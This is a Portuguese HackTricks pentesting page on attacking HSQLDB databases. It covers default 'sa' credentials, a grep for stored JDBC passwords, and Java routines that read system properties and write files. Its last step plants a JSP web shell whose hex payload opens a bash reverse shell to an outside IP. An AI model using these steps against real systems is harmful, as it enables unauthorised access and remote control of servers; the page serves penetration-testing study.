5.4 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informações Básicas
HSQLDB (HyperSQL DataBase) é o principal sistema de banco de dados relacional SQL escrito em Java. Ele oferece um mecanismo de banco de dados pequeno, rápido, multithreaded e transacional com tabelas em memória e baseadas em disco, e suporta modos embutidos e de servidor.
Porta padrão: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Informação
Configurações Padrão
Observe que, por padrão, este serviço provavelmente está sendo executado na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está procurando escalar privilégios.
As credenciais padrão geralmente são sa
com uma senha em branco.
Se você explorou outro serviço, procure possíveis credenciais usando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Note o nome do banco de dados com atenção - você precisará dele para se conectar.
Info Gathering
Conecte-se à instância do DB baixando HSQLDB e extraindo hsqldb/lib/hsqldb.jar
. Execute o aplicativo GUI eww
usando java -jar hsqldb.jar
e conecte-se à instância usando as credenciais descobertas/fracas.
Note que a URL de conexão parecerá algo assim para um sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Tricks
Java Language Routines
Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Java Language Routines. Observe que a classe chamada precisa estar no classpath da aplicação.
JRTs podem ser functions
ou procedures
. Funções podem ser chamadas via instruções SQL se o método Java retornar uma ou mais variáveis primárias compatíveis com SQL. Elas são invocadas usando a instrução VALUES
.
Se o método Java que queremos chamar retornar void, precisamos usar uma procedure invocada com a instrução CALL
.
Reading Java System Properties
Crie a função:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Executar função:
VALUES(getsystemproperty('user.name'))
Você pode encontrar uma lista de propriedades do sistema aqui.
Escrever Conteúdo em Arquivo
Você pode usar o com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
gadget Java localizado no JDK carregado automaticamente no class path da aplicação
para escrever itens codificados em hex no disco através de um procedimento personalizado. Observe o tamanho máximo de 1024 bytes.
Criar procedimento:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Executar procedimento:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.